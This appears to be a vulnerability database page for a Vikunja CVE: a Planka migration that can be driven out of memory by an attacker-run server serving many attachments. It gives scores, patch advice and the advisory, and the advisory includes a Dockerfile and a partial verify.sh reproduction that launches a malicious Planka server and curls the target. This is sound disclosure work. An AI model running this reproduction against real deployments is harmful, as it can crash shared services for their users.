CVE-2026-91970: vikunja · Unthrottled Resource Allocation
Affects vikunjaSource CVE Database V5
Not known to be exploited · CVSS 6.5 Medium : upgrade to 2.6.0 when convenient.
Data as of 30 Oct 2026, 20:25 UTC
- EPSS
- 0.3% chance of exploitation in 30 days – higher than 31% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 2.6.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:HExploitation evidence
Disclosed: evidence found.
CVE published 15 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.
What to do
Upgrade vikunja and github.com/go-vikunja/vikunja to 2.6.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| go-vikunjavikunja | Affected
| Fixed in
|
Gogithub.com/go-vikunja/vikunjapkg:golang/github.com/go-vikunja/vikunjaOther threats | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
AI-suggested
If you cannot patch yet, restrict access to the migration API endpoint to trusted users and avoid using untrusted Planka servers for migration. Monitor resource usage during migration operations and consider implementing external resource limits or timeouts to mitigate potential abuse.
Description
# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API ## Summary The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses. ## Impact and affected scope - **Type:** Resource Exhaustion Dos - **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026 - **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission. ## Technical details Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum. Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination Relevant code: - `pkg/routes/api/v2/migration_credentials.go:35` - `pkg/routes/api/v2/migration_shared.go:73` - `pkg/routes/api/v2/migration_shared.go:95` - `pkg/modules/migration/planka/client.go:37` - `pkg/modules/migration/planka/client.go:356` - `pkg/modules/migration/planka/fetch.go:29` - `pkg/modules/migration/planka/fetch.go:32` - `pkg/modules/migration/planka/convert.go:275` - `pkg/modules/migration/planka/convert.go:280` - `pkg/modules/migration/planka/convert.go:293` - `pkg/modules/migration/planka/planka.go:86` - `pkg/modules/migration/planka/planka.go:100` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27-bookworm AS builder WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja . FROM golang:1.27-bookworm RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh ``` Create `reproduction/verify.sh`: ```sh #!/usr/bin/env bash set -euo pipefail test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}" mkdir -p /work/files /work/logs export VIKUNJA_DATABASE_TYPE=sqlite export VIKUNJA_DATABASE_PATH=/work/vikunja.db export VIKUNJA_FILES_BASEPATH=/work/files export VIKUNJA_LOG_PATH=/work/logs export VIKUNJA_SERVICE_ROOTPATH=/work export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456 export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/ export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/ python3 /app/malicious_planka.py > /work/planka.log 2>&1 & PLANKA_PID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJA_PID=$! cleanup() { if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then kill "${VIKUNJA_PID}" 2>/dev/null || true wait "${VIKUNJA_PID}" 2>/dev/null || true fi if kill -0 "${PLANKA_PID}" 2>/dev/null; then kill "${PLANKA_PID}" 2>/dev/null || true wait "${PLANKA_PID}" 2>/dev/null || true fi } trap cleanup EXIT for _ in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/user